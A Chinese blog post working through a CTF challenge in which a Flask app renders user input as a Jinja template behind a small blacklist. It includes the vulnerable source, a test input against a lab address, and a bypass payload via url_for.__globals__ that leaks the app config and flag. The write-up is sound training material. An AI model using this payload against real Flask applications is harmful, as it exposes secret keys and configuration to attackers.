

# 攻防世界shrine

原创

听门外雪花飞  已于 2022-02-28 15:34:53 修改  290  收藏

分类专栏: [ctf刷题纪](#) 文章标签: [flask python 后端](#)

于 2022-02-28 15:32:21 首次发布

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/weixin\\_52268949/article/details/123183801](https://blog.csdn.net/weixin_52268949/article/details/123183801)

版权



[ctf刷题纪](#) 专栏收录该内容

40 篇文章 0 订阅

订阅专栏

shrine

```
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{% set {}=None%}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)
```

这里有两个路径, 我们分别访问一下

URL

[http://111.200.241.244:51472/shrine/{{7\\*7}}](http://111.200.241.244:51472/shrine/{{7*7}})

在这里发现模板注入但是他将config和self当成了黑名单而flag在config文件里如果没有黑名单的时候，我们可以传入config,或者传入{undefined{self.dict}}获取，但当这些被过滤的时候，我们需要借助一些全局变量利用沙盒逃逸的方法，来调用被禁用的函数对象。

```
current_app,这是全局变量代理，查看他的config即可
```

我们输入的值首先被传到了safe\_jinja函数，然后由flask.template\_string进行渲染传入的()都会被替换为空

构造payload

```
{{url_for.__globals__['current_app'].config}}
```

```
PAGATE_EXCEPTIONS': None, 'ENV': 'pro  
, 'FLAG': 'flag{shrine_is_good_ssti}', 'PREF  
)AD': None. 'TRAP BAD RFOUFST FRRO
```

发现flag